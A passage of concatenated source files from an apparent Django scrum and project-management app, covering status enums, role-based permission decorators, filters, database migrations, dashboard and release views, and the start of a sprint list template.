return round((total_done * Decimal(100)) / total, 2)
<file_sep>/scrumate/core/project/choices.py
from djchoices import DjangoChoices, ChoiceItem
class ProjectStatus(DjangoChoices):
Pending = ChoiceItem(1, 'Pending')
InProgress = ChoiceItem(2, 'In Progress')
Completed = ChoiceItem(3, 'Completed')
class ProjectType(DjangoChoices):
Public = ChoiceItem(1, 'Public')
Private = ChoiceItem(2, 'Private')
InHouse = ChoiceItem(3, 'In House')
<file_sep>/scrumate/general/decorators.py
from django.core.exceptions import PermissionDenied
from scrumate.core.member.choices import ProjectMemberRole
def admin_user(function):
def wrap(request, *args, **kwargs):
if request.user.is_staff:
return function(request, *args, **kwargs)
else:
raise PermissionDenied
wrap.__doc__ = function.__doc__
wrap.__name__ = function.__name__
return wrap
def project_owner(function):
def wrap(request, *args, **kwargs):
if request.user.is_superuser:
return function(request, *args, **kwargs)
project_member = request.user.employee.projectmember_set.first()
if project_member and project_member.role == ProjectMemberRole.ProjectOwner:
return function(request, *args, **kwargs)
else:
raise PermissionDenied
wrap.__doc__ = function.__doc__
wrap.__name__ = function.__name__
return wrap
def team_lead(function):
def wrap(request, *args, **kwargs):
if request.user.is_superuser:
return function(request, *args, **kwargs)
project_member = request.user.employee.projectmember_set.first()
if project_member and project_member.role == ProjectMemberRole.TeamLead:
return function(request, *args, **kwargs)
else:
raise PermissionDenied
wrap.__doc__ = function.__doc__
wrap.__name__ = function.__name__
return wrap
def developer(function):
def wrap(request, *args, **kwargs):
if request.user.is_superuser:
return function(request, *args, **kwargs)
project_member = request.user.employee.projectmember_set.first()
if project_member and project_member.role == ProjectMemberRole.Developer:
return function(request, *args, **kwargs)
else:
raise PermissionDenied
wrap.__doc__ = function.__doc__
wrap.__name__ = function.__name__
return wrap
def owner_or_lead(function):
def wrap(request, *args, **kwargs):
if request.user.is_superuser:
return function(request, *args, **kwargs)
project_member = request.user.employee.projectmember_set.first()
if project_member and project_member.role in [ProjectMemberRole.ProjectOwner, ProjectMemberRole.TeamLead]:
return function(request, *args, **kwargs)
else:
raise PermissionDenied
wrap.__doc__ = function.__doc__
wrap.__name__ = function.__name__
return wrap
<file_sep>/scrumate/people/filters.py
import django_filters
from scrumate.people.models import Department, Designation, Employee, Client
class DepartmentFilter(django_filters.FilterSet):
name = django_filters.CharFilter(lookup_expr='icontains', label='Name')
code = django_filters.CharFilter(lookup_expr='icontains', label='Code')
class Meta:
model = Department
fields = ['name', 'code']
class DesignationFilter(django_filters.FilterSet):
name = django_filters.CharFilter(lookup_expr='icontains', label='Name')
code = django_filters.CharFilter(lookup_expr='icontains', label='Code')
class Meta:
model = Designation
fields = ['name', 'code', 'department']
class EmployeeFilter(django_filters.FilterSet):
full_name = django_filters.CharFilter(lookup_expr='icontains', label='Name')
code = django_filters.CharFilter(lookup_expr='icontains', label='Code')
class Meta:
model = Employee
fields = ['full_name', 'code', 'department']
class ClientFilter(django_filters.FilterSet):
full_name = django_filters.CharFilter(lookup_expr='icontains', label='Name')
code = django_filters.CharFilter(lookup_expr='icontains', label='Code')
class Meta:
model = Client
fields = ['full_name', 'code', 'sub_type']
<file_sep>/scrumate/core/migrations/0015_delete_dailyscrum.py
# Generated by Django 2.2.2 on 2019-06-05 07:09
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('core', '0014_auto_20190605_0531'),
]
operations = [
migrations.DeleteModel(
name='DailyScrum',
),
]
<file_sep>/scrumate/core/migrations/0001_initial.py
# Generated by Django 2.2.1 on 2019-05-09 13:36
import datetime
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('people', '0001_initial'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Dashboard',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(max_length=50)),
],
options={
'permissions': (('dev_dashboard', 'Can See Dev Dashboard'),),
},
),
migrations.CreateModel(
name='Issue',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(blank=True, max_length=50, null=True)),
('description', models.TextField(blank=True, default='', null=True)),
('raise_date', models.DateField(default=None)),
('resolve_date', models.DateField(blank=True, default=None, null=True)),
('comment', models.TextField(blank=True, default='', null=True)),
('status', models.IntegerField(choices=[(1, 'Pending'), (2, 'In Progress'), (3, 'Done'), (4, 'Delivered'), (5, 'Rejected')], default=1)),
('approved_by', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='approved_issues', to='people.Employee')),
],
options={
'permissions': (('update_issue_status', 'Can Update Status of Issue'),),
},
),
migrations.CreateModel(
name='Label',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(max_length=50)),
('description', models.TextField(default='')),
],
),
migrations.CreateModel(
name='Portlet',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(max_length=50)),
('title', models.CharField(max_length=100)),
('html_template', models.CharField(max_length=100)),
('data_url', models.CharField(max_length=100)),
],
),
migrations.CreateModel(
name='Project',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=500)),
('description', models.TextField(default='')),
('type', models.IntegerField(choices=[(1, 'Public'), (2, 'Private'), (3, 'In House')], default=1)),
('status', models.IntegerField(choices=[(1, 'Pending'), (2, 'In Progress'), (3, 'Completed')], default=1)),
('entry_date', models.DateField(default=datetime.date.today, verbose_name='Entry Date')),
('git_username', models.CharField(blank=True, max_length=50, null=True, verbose_name='Github Username')),
('git_password', models.CharField(blank=True, max_length=50, null=True, verbose_name='Github Password')),
('git_repo', models.CharField(blank=True, max_length=100, null=True, verbose_name='Github Repo')),
('client', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='people.Client')),
],
options={
'permissions': (('update_project_status', 'Can Update Status of Project'), ('view_commit_logs', 'Can View Commit Logs of Project')),
},
),
migrations.CreateModel(
name='Release',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=500)),
('description', models.TextField(blank=True, default='', null=True)),
('version', models.CharField(max_length=100, null=True)),
('release_date', models.DateField(default=None)),
('delivery_date', models.DateField(blank=True, default=None, null=True)),
('release_log', models.TextField(blank=True, default=None, null=True)),
('comment', models.TextField(blank=True, default='', null=True)),
('approved_by', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='approved_releases', to=settings.AUTH_USER_MODEL)),
('created_by', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='created_releases', to=settings.AUTH_USER_MODEL)),
('project', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='core.Project')),
],
),
migrations.CreateModel(
name='UserStory',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('summary', models.TextField(default='', verbose_name='Title')),
('details', models.TextField(blank=True, default='', null=True)),
('code', models.CharField(blank=True, default='', max_length=100, null=True)),
('start_date', models.DateField(blank=True, default=None, null=True)),
('end_date', models.DateField(blank=True, default=None, null=True)),
('description', models.TextField(blank=True, default='', null=True)),
('status', models.IntegerField(blank=True, choices=[(1, 'Pending'), (2, 'Analysing'), (3, 'Analysis Complete'), (4, 'Developing'), (5, 'Development Complete'), (6, 'Delivered')], default=1, null=True)),
('comment', models.TextField(blank=True, default='', null=True)),
('analysed_by', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='analysed_user_stories', to='people.Employee')),
('approved_by', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='approved_user_stories', to='people.Employee')),
('project', models.ForeignKey(default=None, on_delete=django.db.models.deletion.CASCADE, to='core.Project')),
('release', models.ForeignKey(default=None, on_delete=django.db.models.deletion.CASCADE, to='core.Release')),
],
options={
'permissions': (('update_user_story_status', 'Can Update Status of User Story'),),
},
),
migrations.CreateModel(
name='UserActivity',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('activity_text', models.TextField(default='')),
('activity_data', models.TextField(default='')),
('user', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),
],
),
migrations.CreateModel(
name='Task',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(blank=True, max_length=50, null=True)),
('category', models.IntegerField(blank=True, choices=[(1, 'Analysis'), (2, 'Development'), (3, 'Testing'), (4, 'Implementation')], default=1, null=True)),
('estimation', models.DecimalField(decimal_places=2, default=0.0, max_digits=15)),
('start_date', models.DateField(default=None)),
('end_date', models.DateField(blank=True, default=None, null=True)),
('priority', models.IntegerField(choices=[(1, 'Low'), (2, 'Medium'), (3, 'High')], default=3, null=True)),
('assign_date', models.DateField(blank=True, default=None, null=True)),
('approved_date', models.DateField(blank=True, default=None, null=True)),
('status', models.IntegerField(choices=[(1, 'Pending'), (2, 'In Progress'), (3, 'Partially Done'), (4, 'Done'), (5, 'Delivered'), (6, 'Not Done'), (7, 'Rejected')], default=1)),
('approved_by', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='approved_by_tasks', to='people.Employee')),
('assigned_by', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='assigned_by_tasks', to='people.Employee')),
('assignee', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='assigned_tasks', to='people.Employee')),
('issue', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Issue')),
('parent_task', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Task')),
('project', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Project')),
('release', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Release')),
('responsible', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='responsible_tasks', to='people.Employee')),
('user_story', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='core.UserStory')),
],
options={
'permissions': (('update_task_status', 'Can Update Status of Task'),),
},
),
migrations.CreateModel(
name='Sprint',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('code', models.CharField(blank=True, max_length=50, null=True)),
('description', models.TextField(blank=True, default='', null=True)),
('start_date', models.DateField(blank=True, default=None, null=True)),
('end_date', models.DateField(blank=True, default=None, null=True)),
('day_wise_label', models.TextField(blank=True, default='', null=True)),
('status', models.IntegerField(blank=True, choices=[(1, 'Pending'), (2, 'On Going'), (3, 'Completed')], default=1, null=True)),
('department', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='people.Department')),
],
options={
'permissions': (('update_sprint_status', 'Can Update Status of Sprint'), ('status_report', 'Can See Sprint Status Report'), ('status_report_download', 'Can Download Sprint Status Report')),
},
),
migrations.CreateModel(
name='OverTime',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('work_date', models.DateField(default=None)),
('description', models.TextField(default='')),
('comment', models.TextField(default='')),
('status', models.IntegerField(choices=[(1, 'Pending'), (2, 'In Progress'), (3, 'Done'), (4, 'Delivered'), (5, 'Rejected')], default=1)),
('assigned_by', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='assigned_by_over_times', to=settings.AUTH_USER_MODEL)),
('assignee', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='assignee_over_times', to=settings.AUTH_USER_MODEL)),
('project', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Project')),
],
),
migrations.AddField(
model_name='issue',
name='project',
field=models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Project'),
),
migrations.AddField(
model_name='issue',
name='raised_by',
field=models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='raised_issues', to='people.Employee'),
),
migrations.AddField(
model_name='issue',
name='user_story',
field=models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.UserStory'),
),
migrations.CreateModel(
name='Deliverable',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('description', models.TextField(blank=True, default='', null=True)),
('estimated_hour', models.DecimalField(blank=True, decimal_places=2, default=0.0, max_digits=15, null=True, verbose_name='Point')),
('priority', models.IntegerField(blank=True, choices=[(1, 'Low'), (2, 'Medium'), (3, 'High')], default=3, null=True)),
('assign_date', models.DateField(blank=True, default=None, null=True)),
('release_date', models.DateField(blank=True, default=None, null=True)),
('status', models.IntegerField(blank=True, choices=[(1, 'Pending'), (2, 'In Progress'), (3, 'Done'), (4, 'Delivered'), (5, 'Rejected')], default=1, null=True)),
('assignee', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='people.Employee')),
('sprint', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Sprint')),
('task', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Task')),
],
options={
'permissions': (('update_deliverable_status', 'Can Update Status of Deliverable'),),
},
),
migrations.CreateModel(
name='DashboardPortlet',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('column', models.IntegerField(choices=[(1, 'One'), (2, 'Two'), (3, 'Three')], default=1)),
('height', models.DecimalField(decimal_places=2, default=50, max_digits=15)),
('width', models.DecimalField(decimal_places=2, default=100, max_digits=15)),
('dashboard', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='core.Dashboard')),
('portlet', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='core.Portlet')),
],
),
migrations.CreateModel(
name='DailyScrum',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('entry_date', models.DateField(blank=True, default=None, null=True)),
('estimated_hour', models.DecimalField(blank=True, decimal_places=2, default=0.0, max_digits=15, null=True, verbose_name='Point')),
('actual_hour', models.DecimalField(blank=True, decimal_places=2, default=0.0, max_digits=15, null=True)),
('comment', models.TextField(blank=True, default='', null=True)),
('deliverable', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Deliverable')),
('employee', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='people.Employee')),
('issue', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Issue')),
('project', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Project')),
('release', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Release')),
('sprint', models.ForeignKey(default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Sprint')),
('task', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Task')),
('user_story', models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.UserStory')),
],
options={
'permissions': (('set_actual_hour', 'Can Set Actual Hour of Daily Scrum'), ('update_actual_hour', 'Can Update Actual Hour of Daily Scrum')),
},
),
]
<file_sep>/scrumate/core/member/choices.py
from djchoices import DjangoChoices, ChoiceItem
class ProjectMemberRole(DjangoChoices):
ProjectOwner = ChoiceItem(1, 'ProjectOwner')
TeamLead = ChoiceItem(2, 'TeamLead')
Developer = ChoiceItem(3, 'Developer')
<file_sep>/scrumate/core/migrations/0010_auto_20190531_1804.py
# Generated by Django 2.2.1 on 2019-05-31 18:04
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('core', '0009_auto_20190520_2336'),
]
operations = [
migrations.AddField(
model_name='project',
name='last_sync_time',
field=models.DateTimeField(blank=True, null=True),
),
migrations.CreateModel(
name='ProjectCommitLog',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('sha', models.CharField(max_length=256)),
('message', models.CharField(max_length=256)),
('date', models.DateTimeField()),
('author_name', models.CharField(max_length=128)),
('author_email', models.CharField(max_length=128)),
('author_url', models.URLField(max_length=128)),
('author_html_url', models.URLField(max_length=128)),
('project', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='core.Project')),
],
),
]
<file_sep>/scrumate/core/dashboard/views.py
from datetime import datetime
from django.contrib.auth import get_user_model
from django.contrib.auth.decorators import login_required
from django.shortcuts import render
from scrumate.core.deliverable.choices import DeliverableStatus
from scrumate.core.deliverable.models import Deliverable
from scrumate.core.issue.models import Issue
from scrumate.core.project.choices import ProjectStatus
from scrumate.core.project.models import Project
from scrumate.core.release.models import Release
User = get_user_model()
def get_dashboard_context(request, **kwargs):
today = datetime.today()
pending_deliverables = Deliverable.objects.filter(sprint__start_date__lte=today, sprint__end_date__gte=today,
status__in=[DeliverableStatus.Pending, DeliverableStatus.InProgress]).order_by('-id')[:6]
running_projects = Project.objects.filter(status__exact=ProjectStatus.InProgress).order_by('-id')[:6]
recent_releases = Release.objects.all().order_by('-release_date')[:6]
recent_issues = Issue.objects.all().order_by('-raise_date')[:6]
data = {
'hide': True,
'running_projects': running_projects,
'pending_deliverables': pending_deliverables,
'recent_releases': recent_releases,
'recent_issues': recent_issues,
}
return data
@login_required(login_url='/login/')
def index(request, **kwargs):
context = get_dashboard_context(request, **kwargs)
return render(request, 'base.html', context)
<file_sep>/scrumate/core/deliverable/api.py
from django.contrib.auth.decorators import login_required
from scrumate.core.deliverable.models import Deliverable
from scrumate.general.utils import json_data
@login_required(login_url='/login/')
def deliverable_info(request, pk, **kwargs):
return json_data(Deliverable, pk)
<file_sep>/scrumate/core/daily_scrum/forms.py
from django.forms import ModelForm, DateInput, Textarea, TextInput
from django_select2.forms import ModelSelect2Widget
from scrumate.core.daily_scrum.models import DailyScrum
from scrumate.core.deliverable.models import Deliverable
from scrumate.core.issue.models import Issue
from scrumate.core.project.models import Project
from scrumate.core.release.models import Release
from scrumate.core.sprint.models import Sprint
from scrumate.core.task.models import Task
from scrumate.core.user_story.models import UserStory
from scrumate.people.models import Employee
class DailyScrumForm(ModelForm):
class Meta:
model = DailyScrum
fields = '__all__'
exclude = ('project', 'release', 'user_story', 'task', 'issue', 'actual_hour')
widgets = {
'estimated_hour': TextInput(attrs={'readonly': True}),
'comment': Textarea(attrs={'cols': 25, 'rows': 3}),
'entry_date': DateInput(attrs={'type': 'date'}),
'project': ModelSelect2Widget(model=Project, search_fields=['name__icontains']),
'release': ModelSelect2Widget(model=Release, search_fields=['name__icontains'],
dependent_fields={'project': 'project'}, max_results=500),
'user_story': ModelSelect2Widget(model=UserStory, search_fields=['summary__icontains'],
dependent_fields={'release': 'release'}, max_results=500),
'task': ModelSelect2Widget(model=Task, search_fields=['name__icontains'],
dependent_fields={'user_story': 'user_story'}, max_results=500),
'issue': ModelSelect2Widget(model=Issue, search_fields=['name__icontains'], max_results=500),
'deliverable': ModelSelect2Widget(model=Deliverable, search_fields=['name__icontains'],
dependent_fields={'task': 'task'}, max_results=500),
'sprint': ModelSelect2Widget(model=Sprint, search_fields=['name__icontains'], max_results=500),
'employee': ModelSelect2Widget(model=Employee, search_fields=['full_name__icontains'], max_results=500),
}
<file_sep>/scrumate/general/views.py
import json
from _datetime import datetime
from django.conf import settings as django_settings
from django.contrib.auth.decorators import login_required
from django.contrib.auth.mixins import LoginRequiredMixin, PermissionRequiredMixin
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from django.shortcuts import render
from django.views.generic import ListView
from scrumate.core.deliverable.choices import DeliverableStatus
from scrumate.core.deliverable.models import Deliverable
from scrumate.core.issue.models import Issue
from scrumate.core.project.choices import ProjectStatus
from scrumate.core.project.models import Project
from scrumate.core.release.models import Release
from scrumate.core.sprint.models import Sprint
from scrumate.core.task.models import Task
from scrumate.core.user_story.choices import UserStoryStatus
from scrumate.core.task.choices import TaskStatus
from scrumate.core.user_story.models import UserStory
from scrumate.people.models import Department, Designation, Employee, Client
@login_required(login_url='/login/')
def settings(request, **kwargs):
departments_count = Department.objects.count()
designations_count = Designation.objects.count()
employees_count = Employee.objects.count()
clients_count = Client.objects.count()
employee_list = Employee.objects.all()
page = request.GET.get('page', 1)
paginator_emp = Paginator(employee_list, django_settings.PAGE_SIZE)
try:
employees = paginator_emp.page(page)
except PageNotAnInteger:
employees = paginator_emp.page(1)
except EmptyPage:
employees = paginator_emp.page(paginator_emp.num_pages)
client_list = Client.objects.all()
page = request.GET.get('page', 1)
paginator_cli = Paginator(client_list, django_settings.PAGE_SIZE)
try:
clients = paginator_cli.page(page)
except PageNotAnInteger:
clients = paginator_cli.page(1)
except EmptyPage:
clients = paginator_cli.page(paginator_cli.num_pages)
return render(request, 'general/index_settings.html', {
'departments_count': departments_count,
'designations_count': designations_count,
'employees_count': employees_count,
'clients_count': clients_count,
'employee_list': employees,
'client_list': clients
})
@login_required(login_url='/login/')
def reports(request, **kwargs):
all_project_count = Project.objects.count()
pending_project_count = Project.objects.filter(status=ProjectStatus.Pending).count()
inprogress_project_count = Project.objects.filter(status=ProjectStatus.InProgress).count()
complete_project_count = Project.objects.filter(status=ProjectStatus.Completed).count()
last_5_ip_projects = Project.objects.filter(status=ProjectStatus.InProgress).order_by('-id')[:5]
last_5_sprint = Sprint.objects.order_by('-id')[:5]
return render(request, 'general/index_reports.html', {
'all_project': all_project_count,
'pending_project': pending_project_count,
'inprogress_project': inprogress_project_count,
'complete_project': complete_project_count,
'last_5_ip_projects': last_5_ip_projects,
'last_5_sprint': last_5_sprint
})
@login_required(login_url='/login/')
def project(request, **kwargs):
all_project = Project.objects.all()
pending_project = Project.objects.filter(status=ProjectStatus.Pending)
inprogress_project = Project.objects.filter(status=ProjectStatus.InProgress)
complete_project = Project.objects.filter(status=ProjectStatus.Completed)
release = Release.objects.all()
issue = Issue.objects.filter(status__in=[DeliverableStatus.Pending, DeliverableStatus.InProgress])
data = {
'all_project': {
'count': all_project.count(),
'names': json.dumps([project.name for project in all_project]),
'total_points': json.dumps([int(project.total_point) for project in all_project])
},
'pending_project': {
'count': pending_project.count(),
'names': json.dumps([project.name for project in pending_project]),
'total_points': json.dumps([int(project.total_point) for project in pending_project]),
'instances': pending_project.order_by('-id')[:10]
},
'inprogress_project': {
'count': inprogress_project.count(),
'names': json.dumps([project.name for project in inprogress_project]),
'total_points': json.dumps([int(project.total_point) for project in inprogress_project]),
'instances': inprogress_project.order_by('-id')[:10]
},
'complete_project': {
'count': complete_project.count(),
'names': json.dumps([project.name for project in complete_project]),
'total_points': json.dumps([int(project.total_point) for project in complete_project]),
'instances': complete_project.order_by('-id')[:10]
},
'release': {
'count': release.count(),
'instances': release.order_by('-id')[:10]
},
'issue': {
'count': issue.count(),
'instances': issue.order_by('-id')[:10]
}
}
return render(request, 'general/index_project.html', data)
@login_required(login_url='/login/')
def project_dashboard(request, project_id, **kwargs):
today = datetime.today().date()
deliverable_qs = Deliverable.objects.filter(project_id=project_id,
sprint__start_date__lte=today, sprint__end_date__gte=today)
pending = deliverable_qs.filter(status=DeliverableStatus.Pending)
in_progress = deliverable_qs.filter(status=DeliverableStatus.InProgress)
done = deliverable_qs.filter(status=DeliverableStatus.Done)
release = Release.objects.filter(project_id=project_id)
user_story = UserStory.objects.filter(status__in=[UserStoryStatus.Pending, UserStoryStatus.Analysing,
UserStoryStatus.AnalysisComplete, UserStoryStatus.Developing],
project_id=project_id)
task = Task.objects.filter(status__in=[TaskStatus.Pending, TaskStatus.InProgress, TaskStatus.PartiallyDone],
project_id=project_id)
issue = Issue.objects.filter(status__in=[DeliverableStatus.Pending, DeliverableStatus.InProgress],
project_id=project_id)
data = {
'project': Project.objects.get(pk=project_id),
'pending': pending,
'in_progress': in_progress,
'done': done,
'release': {
'count': release.count(),
'instances': release.order_by('-id')[:10]
},
'user_story': {
'count': user_story.count(),
'instances': user_story.order_by('-id')[:10]
},
'task': {
'count': task.count(),
'instances': task.order_by('-id')[:10]
},
'issue': {
'count': issue.count(),
'instances': issue.order_by('-id')[:10]
},
}
return render(request, 'general/index_project_view.html', data)
class HistoryList(LoginRequiredMixin, PermissionRequiredMixin, ListView):
template_name = 'includes/history.html'
context_object_name = 'history_list'
paginate_by = django_settings.PAGE_SIZE
login_url = django_settings.LOGIN_URL
<file_sep>/scrumate/core/release/views.py
from django.conf import settings
from django.contrib import messages
from django.contrib.auth.decorators import login_required
from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage
from django.shortcuts import render, redirect, get_object_or_404
from django.urls import reverse
from django.views.generic import DetailView
from scrumate.general.decorators import project_owner
from scrumate.core.project.models import Project
from scrumate.core.release.models import Release
from scrumate.core.release.filters import ReleaseFilter
from scrumate.core.release.forms import ReleaseForm
from scrumate.general.views import HistoryList
@login_required(login_url='/login/')
def release_list(request, project_id, **kwargs):
release_filter = ReleaseFilter(request.GET, queryset=Release.objects.filter(project_id=project_id).order_by('-id'))
release_list = release_filter.qs
page = request.GET.get('page', 1)
paginator = Paginator(release_list, settings.PAGE_SIZE)
try:
releases = paginator.page(page)
except PageNotAnInteger:
releases = paginator.page(1)
except EmptyPage:
releases = paginator.page(paginator.num_pages)
project = Project.objects.get(pk=project_id)
return render(request, 'core/release_list.html', {'releases': releases, 'filter': release_filter, 'project': project})
@project_owner
@login_required(login_url='/login/')
def release_add(request, project_id, **kwargs):
if request.method == 'POST':
form = ReleaseForm(request.POST)
if form.is_valid():
release = form.save(commit=False)
release.created_by = request.user
release.project_id = project_id
release.save()
messages.success(request, f'"{release.name}" added successfully!')
return redirect('release_list', permanent=True, project_id=project_id)
else:
messages.error(request, f'Invalid data!')
else:
form = ReleaseForm()
title = 'New Release'
project = Project.objects.get(pk=project_id)
return render(request, 'core/common_add.html', {'form': form, 'title': title, 'list_url_name': 'release_list', 'project': project})
@project_owner
@login_required(login_url='/login/')
def release_edit(request, project_id, pk, **kwargs):
instance = get_object_or_404(Release, id=pk)
form = ReleaseForm(request.POST or None, instance=instance)
if form.is_valid():
release = form.save()
messages.success(request, f'"{release.name}" updated successfully!')
return redirect('release_list', permanent=True, project_id=project_id)
else:
messages.error(request, f'Invalid data!')
title = 'Edit Release'
project = Project.objects.get(pk=project_id)
return render(request, 'core/common_add.html', {'form': form, 'title': title, 'list_url_name': 'release_list', 'project': project})
class ReleaseHistoryList(HistoryList):
permission_required = 'scrumate.core.release_history'
def get_release_id(self):
return self.kwargs.get('pk')
def get_project_id(self):
return self.kwargs.get('project_id')
def get_queryset(self):
return Release.history.filter(id=self.get_release_id())
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project = Project.objects.get(pk=self.get_project_id())
release = Release.objects.get(pk=self.get_release_id())
context['project'] = project
context['title'] = f'History of {release.name}'
context['back_url'] = reverse('release_list', kwargs={'project_id': self.get_project_id()})
context['base_template'] = 'general/index_project_view.html'
return context
class ReleaseDetailView(DetailView):
queryset = Release.objects.all()
template_name = 'includes/generic_view.html'
context_object_name = 'release'
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project_id = self.kwargs.get('project_id')
instance = self.get_object()
context['form'] = ReleaseForm(instance=instance)
context['edit_url'] = reverse('release_edit', kwargs={'project_id': project_id, 'pk': instance.pk})
context['list_url'] = reverse('release_list', kwargs={'project_id': project_id})
context['title'] = instance.name
context['project'] = Project.objects.get(pk=project_id)
context['base_template'] = 'general/index_project_view.html'
return context
<file_sep>/scrumate/core/deliverable/choices.py
from djchoices import DjangoChoices, ChoiceItem
class DeliverableStatus(DjangoChoices):
Pending = ChoiceItem(1, 'Pending')
InProgress = ChoiceItem(2, 'In Progress')
Done = ChoiceItem(3, 'Done')
Delivered = ChoiceItem(4, 'Delivered')
Rejected = ChoiceItem(5, 'Rejected')
<file_sep>/scrumate/core/user_story/choices.py
from djchoices import DjangoChoices, ChoiceItem
class UserStoryStatus(DjangoChoices):
Pending = ChoiceItem(1, 'Pending')
Analysing = ChoiceItem(2, 'Analysing')
AnalysisComplete = ChoiceItem(3, 'Analysis Complete')
Developing = ChoiceItem(4, 'Developing')
DevelopmentComplete = ChoiceItem(5, 'Development Complete')
Delivered = ChoiceItem(6, 'Delivered')
<file_sep>/scrumate/templates/core/sprint/sprint_list.html
{% extends 'general/index_project_view.html' %}
{% block content %}
<form method="get">
{{ filter.form.as_table }}
<button class="btn btn-outline-dark active" type="submit">Search</button>
</form>
<div class="animated fadeIn pt-2">
<div class="row">
<div class="col-lg-12">
<div class="card">
<div class="card-header text-white bg-xing">
<i class="fa fa-list fa-lg"></i> Sprints
{% if user.is_authenticated %}
<a class="float-right" href="{% url 'sprint_add' project_id=project.id %}">
<i class="fa fa-plus-square-o fa-lg font-2xl text-white"></i>
</a>
{% endif %}
</div>
<div class="card-body">
<table class="table table-responsive-sm table-bordered">
<thead>
<tr>
<th>S/L</th>
<th>Name</th>
<th>Department</th>
<th>Start Date</th>
<th>End Date</th>
<th>Status</th>
<th class="text-center">Action</th>
</tr>
</thead>
<tbody>
